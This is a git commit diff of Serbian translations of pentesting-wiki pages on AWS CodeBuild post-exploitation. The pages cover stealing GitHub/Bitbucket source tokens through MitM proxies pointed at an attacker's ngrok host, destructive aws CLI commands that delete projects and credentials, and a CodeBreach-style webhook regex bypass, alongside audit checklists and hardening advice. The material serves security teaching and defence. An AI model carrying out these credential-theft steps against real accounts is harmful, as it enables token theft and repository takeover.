Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2026-02-03 12:52:08 +00:00
parent 492b63fb3d
commit 2467d527fe
3 changed files with 301 additions and 67 deletions
@@ -4,43 +4,43 @@
## CodeBuild
Za više informacija, proverite:
Za više informacija, pogledajte:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
### Proverite Tajne
### Proverite tajne
Ako su kredencijali postavljeni u Codebuild za povezivanje sa Github, Gitlab ili Bitbucket u obliku ličnih tokena, lozinki ili OAuth token pristupa, ove **kredencijale će biti sačuvane kao tajne u menadžeru tajni**.\
Stoga, ako imate pristup za čitanje menadžera tajni, moći ćete da dobijete ove tajne i pređete na povezanu platformu.
Ako su akreditive postavljene u Codebuild-u za povezivanje sa Github, Gitlab ili Bitbucket u vidu personal tokens, lozinki ili OAuth token access, ove **akreditive će biti sačuvane kao tajne u secret manager-u**.\
Dakle, ako imate pristup za čitanje secret manager-a, moći ćete da dobijete te tajne i pivotirate na povezanu platformu.
{{#ref}}
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
{{#endref}}
### Zloupotreba Pristupa CodeBuild Repo-u
### Abuse CodeBuild Repo Access
Da bi se konfigurisao **CodeBuild**, biće mu potreban **pristup kod repozitorijumu** koji će koristiti. Nekoliko platformi može hostovati ovaj kod:
Da bi se konfigurisao **CodeBuild**, biće mu potreban **pristup code repo-u** koji će koristiti. Nekoliko platformi može hostovati ovaj kod:
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
**CodeBuild projekat mora imati pristup** konfigurisanoj izvornoj platformi, bilo putem **IAM uloge** ili sa github/bitbucket **tokenom ili OAuth pristupom**.
**CodeBuild projekat mora imati pristup** konfigurisanom source provider-u, bilo preko **IAM role** ili sa github/bitbucket **token-om ili OAuth pristupom**.
Napadač sa **povišenim dozvolama u CodeBuild-u** mogao bi zloupotrebiti ovaj konfigurisani pristup da otkrije kod konfigurisane repozitorije i druge gde postavljeni kredencijali imaju pristup.\
Da bi to uradio, napadač bi samo trebao da **promeni URL repozitorijuma na svaki repozitorijum kojem konfigurisani kredencijali imaju pristup** (napomena: aws web će ih sve navesti za vas):
Napadač sa **povišenim privilegijama nad CodeBuild-om** može zloupotrebiti ovaj konfigurisan pristup da leak-uje kod konfigurisanog repoa i drugih repo-a kojima podešene kredencijale imaju pristup.\
Da bi to uradio, napadač bi samo trebalo da **promeni repository URL na svaki repo kojem konfiguracione kredencijale imaju pristup** (napomena: aws web će vam ih sve navesti):
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
I **promeni Buildspec komande da eksfiltrira svaki repozitorijum**.
I **promeni Buildspec komande da exfiltrate svaki repo**.
> [!WARNING]
> Međutim, ovaj **zadatak je ponavljajući i zamoran** i ako je github token konfiguran sa **dozvolama za pisanje**, napadač **neće moći da (zloupotrebi) te dozvole** jer nema pristup tokenu.\
> Ili možda ima? Proverite sledeću sekciju
> Međutim, ovaj **zadatak je repetitivan i zamoran** i ako je github token konfigurisan sa **write permissions**, napadač **neće moći da (ab)use te permisije** jer nema pristup tokenu.\
> Или да ли може? Proverite sledeći odeljak
### Otkriće Pristupnih Tokena iz AWS CodeBuild
### Leaking Access Tokens from AWS CodeBuild
Možete otkriti pristup dat u CodeBuild platformama kao što je Github. Proverite da li je bilo datog pristupa spoljnim platformama sa:
You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
```bash
aws codebuild list-source-credentials
```
@@ -48,9 +48,17 @@ aws codebuild list-source-credentials
aws-codebuild-token-leakage.md
{{#endref}}
### Izvršavanje nepouzdanih PR-ova usled pogrešne konfiguracije webhook filtera
Ako su webhook filters slabi, eksterni napadači mogu da nateraju svoje PRs da budu izgrađeni u privilegovanim CodeBuild projektima i zatim izvrše proizvoljan kod u CI.
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
### `codebuild:DeleteProject`
Napadač bi mogao da obriše ceo CodeBuild projekat, uzrokujući gubitak konfiguracije projekta i utičući na aplikacije koje se oslanjaju na projekat.
Napadač bi mogao izbrisati čitav CodeBuild projekat, što bi dovelo do gubitka konfiguracije projekta i uticalo na aplikacije koje se oslanjaju na taj projekat.
```bash
aws codebuild delete-project --name <value>
```
@@ -58,19 +66,19 @@ aws codebuild delete-project --name <value>
### `codebuild:TagResource` , `codebuild:UntagResource`
Napadač bi mogao dodati, izmeniti ili ukloniti oznake sa CodeBuild resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
Napadač može dodavati, menjati ili uklanjati tags sa CodeBuild resursa, što može narušiti raspodelu troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tags.
```bash
aws codebuild tag-resource --resource-arn <value> --tags <value>
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
```
**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.
**Potencijalni uticaj**: Poremećaj u raspodeli troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na tagovima.
### `codebuild:DeleteSourceCredentials`
Napadač bi mogao da obriše izvorne akreditive za Git repozitorijum, što bi uticalo na normalno funkcionisanje aplikacija koje se oslanjaju na repozitorijum.
Napadač može izbrisati kredencijale izvora za Git repository, što bi omelo normalno funkcionisanje aplikacija koje zavise od tog repository-ja.
```sql
aws codebuild delete-source-credentials --arn <value>
```
**Potencijalni uticaj**: Poremećaj normalnog funkcionisanja aplikacija koje se oslanjaju na pogođeni repozitorijum zbog uklanjanja izvora kredencijala.
**Mogući uticaj**: Prekid normalnog rada aplikacija koje zavise od pogođenog repozitorijuma zbog uklanjanja kredencijala za pristup izvornom kodu.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Vraćanje Github/Bitbucket konfigurisani tokens
## Oporavi konfigurisane Github/Bitbucket Tokens
Prvo proverite da li postoje konfigurisani source credentials koje možete leak:
Prvo proveri da li postoje konfigurisani source credentials koje možeš leak:
```bash
aws codebuild list-source-credentials
```
### Putem Docker Image
Ako primetite da je autentikacija, na primer za Github, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta.
Ako ustanovite da je autentifikacija, npr. za Github, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta.
Za ovu namenu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**.
U tu svrhu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**.
Docker image koji možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je veoma osnovni Docker image koji će podesiti **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. To će vam omogućiti da presretnete većinu saobraćaja hosta označenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT označenom u **`SSL_CERT_FILE`**.
Docker image koji možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je vrlo osnovni Docker image koji će postaviti **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT navedenom u **`SSL_CERT_FILE`**.
1. **Create & Upload your own Docker MitM image**
- Pratite instrukcije iz repo-a da postavite vašu proxy IP adresu i SSL cert i **build the docker image**.
- **DO NOT SET `http_proxy`** kako ne biste presretali zahteve ka metadata endpoint-u.
- Možete koristiti **`ngrok`** kao npr. `ngrok tcp 4444` da setujete proxy na vaš host
- Kada imate izgrađen Docker image, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Kreirajte **new Codebuild project** ili **modify** environment postojećeg.
- Podesite projekat da koristi **previously generated Docker image**
1. **Kreirajte i otpremite svoj Docker MitM image**
- Sledite instrukcije iz repo-a da podesite IP adresu proxy-ja i vaš SSL sertifikat i **izgradite Docker image**.
- **NE PODEŠAVAJTE `http_proxy`** kako ne biste presretali zahteve ka metadata endpoint-u.
- Možete koristiti **`ngrok`** npr. `ngrok tcp 4444` da podesite proxy na vaš host
- Kada izgradite Docker image, **otpremite ga u javni repo** (Dockerhub, ECR...)
2. **Podesite environment**
- Kreirajte **novi Codebuild project** ili **izmenite** environment postojećeg.
- Podesite projekat da koristi **prethodno generisani Docker image**
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **Set the MitM proxy in your host**
3. **Podesite MitM proxy na vašem hostu**
- Kao što je navedeno u **Github repo** možete koristiti nešto kao:
- Kao što je naznačeno u **Github repo** možete koristiti nešto poput:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> **mitmproxy verzija koja je korišćena bila je 9.0.1**, izveštavano je da sa verzijom 10 ovo možda neće raditi.
> Korišćena je **mitmproxy verzija 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
4. **Pokrenite build & uhvatite kredencijale**
4. **Pokrenite build i uhvatite kredencijale**
- Možete videti token u **Authorization** headeru:
- Možete videti token u **Authorization** zaglavlju:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
Ovo se takođe može uraditi iz aws cli koristeći nešto poput
Ovo se takođe može uraditi iz aws cli pomoću nečeg poput
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
### Putem insecureSSL
**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno na webu i možete ga promeniti samo preko API-ja.\
Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji platforma nudi.
**Codebuild** projekti imaju podešavanje zvano **`insecureSsl`** koje je skriveno u web interfejsu i može se menjati samo preko API-ja.\
Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata platforme**.
- Prvo treba da izlistate trenutnu konfiguraciju nečim poput:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- Zatim, sa prikupljenim informacijama možeš ažurirati podešavanje projekta **`insecureSsl`** na **`True`**. U nastavku je primer mog ažuriranja projekta — obrati pažnju na **`insecureSsl=True`** na kraju (to je jedina stvar koju treba promeniti u odnosu na prikupljenu konfiguraciju).
- Pored toga, dodaj i env promenljive **http_proxy** i **https_proxy** koje pokazuju na tvoj tcp ngrok, na primer:
- Takođe, dodaj i promenljive okruženja **http_proxy** i **https_proxy** koje upućuju na tvoj tcp ngrok, na primer:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji ukazuju proxy promenljive (http_proxy i https_proxy)
- Zatim pokrenite osnovni primer iz [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Na kraju, kliknite na **Build the project**, **kredencijali** će biti **poslati u običnom tekstu** (base64) na mitm port:
- Na kraju, kliknite na **Build the project**, **credentials** će biti poslati nešifrovano (base64) na mitm port:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~Putem HTTP protokola~~
### ~~Preko HTTP protokola~~
> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a negde u sedmici 20. februara 2023. (mislim da u petak). Tako da napadač više ne može da je iskoristi :)**
> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a negde tokom nedelje koja počinje 20. februara 2023. (Mislim da je to bio petak). Dakle, napadač je više ne može zloupotrebiti :)**
Napadač sa **povišenim privilegijama nad CodeBuild-om mogao bi da izazove leak konfigurisanog Github/Bitbucket tokena** ili, ako su privilegije konfigurisane preko OAuth-a, **privremeni OAuth token korišćen za pristup kodu**.
Napadač sa **povišenim privilegijama u CodeBuild mogao bi da leak-uje konfigurisan Github/Bitbucket token** ili, ako su permisije konfigurisanе preko OAuth-a, **privremeni OAuth token koji se koristi za pristup kodu**.
- Napadač bi mogao da doda promenljive okruženja **http_proxy** i **https_proxy** u CodeBuild projekat koje upućuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
- Napadač može da doda environment promenljive **http_proxy** i **https_proxy** u CodeBuild projekat koje pokazuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
- Zatim pokrenite osnovni primer iz [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji ukazuju proxy promenljive (http_proxy i https_proxy)
- Zatim promenite URL github repoa da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- Zatim kliknite na **Build the project** ili pokrenite build iz komandne linije:
- Zatim, kliknite na **Build the project** ili pokrenite build iz komandne linije:
```sh
aws codebuild start-build --project-name <proj-name>
```
- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
- Na kraju, **credentials** će biti **poslati u čistom tekstu** (base64) na mitm port:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Sada attacker može da koristi token sa svoje mašine, da izlista sve privilegije koje token ima i da ih (ab)use lakše nego direktnim korišćenjem CodeBuild servisa.
> Sada napadač može da koristi token sa svoje mašine, izlista sve privilegije koje poseduje i (ab)use lakše nego da direktno koristi CodeBuild servis.
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
## Izvršavanje nepouzdanih PR-ova putem pogrešne konfiguracije webhook filtera
Neispravno konfigurisani CodeBuild GitHub webhooks koji koriste neanchored `ACTOR_ID` regex-e dozvoljavaju *untrusted* PR-ovima da pokrenu privilegovane builds. Ako je allowlist poput `123456|7890123` bez `^`/`$`, bilo koji ID koji sadrži jedan od tih substring-ova će odgovarati. Pošto su GitHub user ID-ovi sekvencijalni, attacker može da se utrkuje da registruje “eclipsing” ID (superstring od poverljivog ID-a) i tako pokrene build.
Za lanac zaobilaženja webhook-a pokrenut PR-om (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), proveri:
**Exploit path**
1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist.
2. Obtain an eclipsing GitHub ID:
- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool).
- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring.
3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
5. With the tokens `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,235 @@
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
{{#include ../../../../banners/hacktricks-training.md}}
Ovaj vektor napada se javljа kada je javni PR workflow povezan sa privilegovanim CodeBuild projektom koji ima slabe kontrole webhook-a.
Ako eksterni napadač uspe da natera CodeBuild da izvrši njihov PR, obično može dobiti arbitrary code execution unutar build-a (build scripts, dependency hooks, test scripts, itd.), a zatim pivot-ovati ka tajnama, IAM credential-ima, ili source-provider credentials.
## Zašto je ovo opasno
CodeBuild webhook filteri se evaluiraju pomoću regex pattern-a (za filtre koji nisu `EVENT`). U `ACTOR_ACCOUNT_ID` filteru to znači da slab pattern može poklopiti više korisnika nego što je namera.
Ako se nepoverljivi PR-ovi build-uju u projektu koji ima privilegovane AWS role ili GitHub credential-e, to može postati potpuna supply-chain kompromitacija.
Wiz je pokazao praktičan lanac gde:
1. Webhook actor allowlist je koristio ne-anchored regex.
2. Napadač je registrovao GitHub ID koji se poklapao kao superstring trusted ID-a.
3. Zlonamerni PR je pokrenuo CodeBuild.
4. Izvršenje koda u buildu je iskorišćeno za dump-ovanje memorije i vraćanje source-provider credential-a/tokena.
## Misconfigurations koje omogućavaju izvršavanje eksternog PR koda
Ispod su high-risk greške i kako ih napadači zloupotrebljavaju:
1. **`EVENT` filters allow untrusted triggers**
- Uobičajeni rizični eventi: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
- Drugi eventi koji takođe mogu postati opasni ako su vezani za privilegovane build-ove: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
- Loše: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` u privilegovanom projektu.
- Bolje: koristite PR comment approval i minimizirajte trigger evente za privilegovane projekte.
- Zloupotreba: napadač otvori/azurira PR ili push-uje na branch koji kontroliše, i njihov kod se izvršava u CodeBuild-u.
2. **`ACTOR_ACCOUNT_ID` regex is weak**
- Loše: unanchored pattern-i kao `123456|7890123`.
- Bolje: exact-match anchoring `^(123456|7890123)$`.
- Zloupotreba: regex over-match dozvoljava neautorizovanim GitHub ID-evima da prođu kroz allowlist.
3. **Other regex filters are weak or missing**
- `HEAD_REF`
- Loše: `refs/heads/.*`
- Bolje: `^refs/heads/main$` (ili eksplicitna lista trusted grana)
- `BASE_REF`
- Loše: `.*`
- Bolje: `^refs/heads/main$`
- `FILE_PATH`
- Loše: nema ograničenja na putanje
- Bolje: isključiti rizične fajlove kao `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
- `COMMIT_MESSAGE`
- Loše: trust marker sa labavim match-om kao `trusted`
- Bolje: ne koristiti commit poruku kao trust boundary za izvršenje PR-a
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
- Loše: `.*` u org/global webhooks
- Bolje: samo tačna repo/org poklapanja
- `WORKFLOW_NAME`
- Loše: `.*`
- Bolje: tačno ime workflow-a (ili izbegavati ovo kao trust kontrolu)
- Zloupotreba: napadač pažljivo gradi ref/path/message/repo kontekst da zadovolji permisivni regex i okine build.
4. **`excludeMatchedPattern` is misused**
- Podešavanje ovog flag-a pogrešno može invertovati nameravanu logiku.
- Loše: `FILE_PATH '^buildspec\\.yml$'` sa `excludeMatchedPattern=false` kada je namera bila da se blokiraju izmene buildspec-a.
- Bolje: isti pattern sa `excludeMatchedPattern=true` da se zabrani build koji dira `buildspec.yml`.
- Zloupotreba: branitelji misle da zabranjuju rizične evente/putanje/aktore, ali zapravo ih dopuštaju.
5. **Multiple `filterGroups` create accidental bypasses**
- CodeBuild evaluira grupe kao OR (jedna prolazna grupa je dovoljna).
- Loše: jedna stroga grupa + jedna permisivna fallback grupa (npr. samo `EVENT=PULL_REQUEST_UPDATED`).
- Bolje: ukloniti fallback grupe koje ne nameću actor/ref/path ograničenja.
- Zloupotreba: napadač treba da zadovolji samo najslabiju grupu.
6. **Comment approval gate disabled or too permissive**
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` je najmanje sigurno.
- Previše široke role odobravaoca smanjuju kontrolu.
- Loše: `requiresCommentApproval=DISABLED`.
- Bolje: `ALL_PULL_REQUESTS` ili `FORK_PULL_REQUESTS` sa minimalnim rolama odobravaoca.
- Zloupotreba: fork/drive-by PR-ovi se automatski izvršavaju bez odobrenja trusted maintenara.
7. **No restrictive branch/path strategy for PR builds**
- Nedostatak defense-in-depth sa `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
- Loše: samo `EVENT` + `ACTOR_ACCOUNT_ID`, bez ref/path kontrola.
- Bolje: kombinovati tačan `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` restrikcije.
- Zloupotreba: napadač menja build inpute (buildspec/CI/dependencies) i dobija arbitrary command execution.
8. **Public visibility + status URL exposure**
- Javne build/check URL-ove poboljšavaju attacker recon i iterativno testiranje.
- Loše: `projectVisibility=PUBLIC_READ` sa osetljivim logovima/configom u javnim build-ovima.
- Bolje: čuvati projekte privatnim osim ako postoji jak business razlog, i sanitizovati logove/artifakte.
- Zloupotreba: napadač otkriva pattern-e/projekta ponašanje, pa podešava payload-e i pokušaje bypass-a.
## Token leakage from memory
Wiz-ov write-up objašnjava da su source-provider credential-i prisutni u runtime kontekstu build-a i mogu biti ukradeni nakon kompromitovanja build-a (na primer, kroz memory dumping), omogućavajući takeover repozitorijuma ako su scope-ovi široki.
AWS je uveo hardening nakon otkrića, ali osnovna lekcija ostaje: nikada ne izvršavajte untrusted PR kod u privilegovanim build kontekstima i pretpostavite da će napadač-kontrolisani build pokušati theft of credential-a.
Za dodatne tehnike krađe credential-a u CodeBuild, pogledajte takođe:
{{#ref}}
aws-codebuild-token-leakage.md
{{#endref}}
## Finding CodeBuild URLs in GitHub PRs
Ako CodeBuild prijavljuje commit status nazad na GitHub, CodeBuild build URL se obično pojavljuje u:
1. **PR page** -> **Checks** tab (ili status linija u Conversation/Commits).
2. **Commit page** -> status/checks sekcija -> **Details** link.
3. **PR commits list** -> kliknite na check context priključen za commit.
Za javne projekte, ovaj link može otkriti build metadata/configuration neautentifikovanim korisnicima.
<details>
<summary>Script: detect CodeBuild URLs in a PR and test if they look public</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
# Usage:
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
#
# Requirements: gh, jq, curl
OWNER="${1:?owner}"
REPO="${2:?repo}"
PR="${3:?pr_number}"
for bin in gh jq curl timeout; do
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
done
tmp_commits="$(mktemp)"
tmp_urls="$(mktemp)"
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
gh_api() {
timeout 20s gh api "$@" 2>/dev/null || true
}
# Get all commit SHAs in the PR (bounded call to avoid hangs)
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
if [ ! -s "$tmp_commits" ]; then
echo "[!] No commits found (or API call timed out/failed)." >&2
exit 1
fi
echo "[*] PR commits:"
cat "$tmp_commits"
echo
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
while IFS= read -r sha; do
[ -z "$sha" ] && continue
# Classic commit statuses (target_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
# GitHub Checks API (details_url)
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
done < "$tmp_commits" | sort -u > "$tmp_urls"
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
echo
echo "[*] Public-access heuristic:"
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
echo
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
if [ -z "$cb_urls" ]; then
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
exit 0
fi
while IFS= read -r url; do
[ -z "$url" ] && continue
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
elif [ "$code" = "200" ]; then
verdict="POTENTIALLY_PUBLIC"
else
verdict="UNKNOWN_CHECK_MANUALLY"
fi
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
done <<< "$cb_urls"
```
Testirano sa:
```bash
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
```
</details>
## Brzi kontrolni spisak za reviziju
```bash
# Enumerate projects
aws codebuild list-projects
# Inspect source/webhook configuration
aws codebuild batch-get-projects --names <project-name>
# Inspect global source credentials configured in account
aws codebuild list-source-credentials
```
Pregledajte svaki projekat zbog:
- `webhook.filterGroups` koji sadrže PR događaje.
- obrasci `ACTOR_ACCOUNT_ID` koji nemaju početne i krajnje oznake `^...$`.
- `pullRequestBuildPolicy.requiresCommentApproval` podešen na `DISABLED`.
- Nedostatka ograničenja grana/putanja.
- `serviceRole` visokih privilegija.
- Rizičnog opsega i ponovne upotrebe kredencijala izvora.
## Smernice za pojačanje bezbednosti
1. Zahtevajte odobrenje komentara za PR buildove (`ALL_PULL_REQUESTS` ili `FORK_PULL_REQUESTS`).
2. Ako koristite allow-liste za actore, uokvirite regex-e (koristite ^ i $) i držite ih preciznim.
3. Dodajte `FILE_PATH` ograničenja da sprečite nepouzdane izmene `buildspec.yml` i CI skripti.
4. Odvojite pouzdane release buildove od nepouzdanih PR buildova u različite projekte/role.
5. Koristite fine-grained, najmanje privilegovane tokene provajdera izvora (poželjno koristiti posvećene niskoprivilegovane identitete).
6. Kontinuirano proveravajte webhook filtere i korišćenje kredencijala izvora.
## References
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
{{#include ../../../../banners/hacktricks-training.md}}